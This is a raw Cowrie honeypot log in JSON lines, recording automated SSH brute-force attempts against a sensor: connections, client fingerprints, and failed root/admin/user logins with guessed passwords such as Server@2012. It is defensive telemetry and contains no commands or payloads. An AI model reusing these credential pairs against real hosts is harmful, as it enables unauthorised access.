{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:11.002181Z","src_ip":"81.91.233.66","session":"e279d0880107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2025","message":"login attempt [admin/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:12.046540Z","src_ip":"81.91.233.66","session":"e279d0880107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:12.538643Z","src_ip":"81.91.233.66","session":"e279d0880107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62618,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ea073b884c","protocol":"ssh","message":"New connection: 81.91.233.66:62618 (10.17.0.5:22) [session: 45ea073b884c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:12.788889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:12.792967Z","src_ip":"81.91.233.66","session":"45ea073b884c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:13.037331Z","src_ip":"81.91.233.66","session":"45ea073b884c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2025","message":"login attempt [user/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:14.051068Z","src_ip":"81.91.233.66","session":"45ea073b884c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:14.536257Z","src_ip":"81.91.233.66","session":"45ea073b884c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":62734,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2cebab6d64f","protocol":"ssh","message":"New connection: 81.91.233.66:62734 (10.17.0.5:22) [session: e2cebab6d64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:14.807067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:14.824005Z","src_ip":"81.91.233.66","session":"e2cebab6d64f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:15.075246Z","src_ip":"81.91.233.66","session":"e2cebab6d64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2025","message":"login attempt [user2/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:16.108418Z","src_ip":"81.91.233.66","session":"e2cebab6d64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:16.593474Z","src_ip":"81.91.233.66","session":"e2cebab6d64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":3383,"dst_ip":"10.17.0.5","dst_port":22,"session":"7522232655a2","protocol":"ssh","message":"New connection: 81.91.233.66:3383 (10.17.0.5:22) [session: 7522232655a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:16.861957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:16.865736Z","src_ip":"81.91.233.66","session":"7522232655a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:17.117410Z","src_ip":"81.91.233.66","session":"7522232655a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2012","message":"login attempt [root/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:18.195868Z","src_ip":"81.91.233.66","session":"7522232655a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:18.646658Z","src_ip":"81.91.233.66","session":"7522232655a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":3975,"dst_ip":"10.17.0.5","dst_port":22,"session":"02778629a08b","protocol":"ssh","message":"New connection: 81.91.233.66:3975 (10.17.0.5:22) [session: 02778629a08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:18.906660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:18.913221Z","src_ip":"81.91.233.66","session":"02778629a08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:19.162503Z","src_ip":"81.91.233.66","session":"02778629a08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2012","message":"login attempt [admin/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:20.203142Z","src_ip":"81.91.233.66","session":"02778629a08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:20.682159Z","src_ip":"81.91.233.66","session":"02778629a08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1566,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e67a06b7067","protocol":"ssh","message":"New connection: 81.91.233.66:1566 (10.17.0.5:22) [session: 3e67a06b7067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:20.952443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:20.957082Z","src_ip":"81.91.233.66","session":"3e67a06b7067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:21.209900Z","src_ip":"81.91.233.66","session":"3e67a06b7067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":44888,"dst_ip":"10.17.0.5","dst_port":22,"session":"399932102fae","protocol":"ssh","message":"New connection: 144.91.108.61:44888 (10.17.0.5:22) [session: 399932102fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:21.568884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:21.573007Z","src_ip":"144.91.108.61","session":"399932102fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:21.669248Z","src_ip":"144.91.108.61","session":"399932102fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ambers789","message":"login attempt [root/ambers789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:21.958952Z","src_ip":"144.91.108.61","session":"399932102fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2012","message":"login attempt [user/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:22.253350Z","src_ip":"81.91.233.66","session":"3e67a06b7067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.968411445617676,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:22.347005Z","src_ip":"170.64.224.25","session":"7756757b85b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:22.735912Z","src_ip":"81.91.233.66","session":"3e67a06b7067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":63222,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d9594b8b6c","protocol":"ssh","message":"New connection: 81.91.233.66:63222 (10.17.0.5:22) [session: 02d9594b8b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:22.988660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:22.992901Z","src_ip":"81.91.233.66","session":"02d9594b8b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:23.057210Z","src_ip":"144.91.108.61","session":"399932102fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:23.240103Z","src_ip":"81.91.233.66","session":"02d9594b8b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2012","message":"login attempt [user2/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:24.257143Z","src_ip":"81.91.233.66","session":"02d9594b8b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:24.737552Z","src_ip":"81.91.233.66","session":"02d9594b8b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1882,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebeb36cda407","protocol":"ssh","message":"New connection: 81.91.233.66:1882 (10.17.0.5:22) [session: ebeb36cda407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:25.010373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:25.014289Z","src_ip":"81.91.233.66","session":"ebeb36cda407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:25.266534Z","src_ip":"81.91.233.66","session":"ebeb36cda407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2016","message":"login attempt [root/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:26.306048Z","src_ip":"81.91.233.66","session":"ebeb36cda407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:26.789397Z","src_ip":"81.91.233.66","session":"ebeb36cda407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":63455,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea8aabde48dc","protocol":"ssh","message":"New connection: 81.91.233.66:63455 (10.17.0.5:22) [session: ea8aabde48dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:27.039088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:27.042923Z","src_ip":"81.91.233.66","session":"ea8aabde48dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa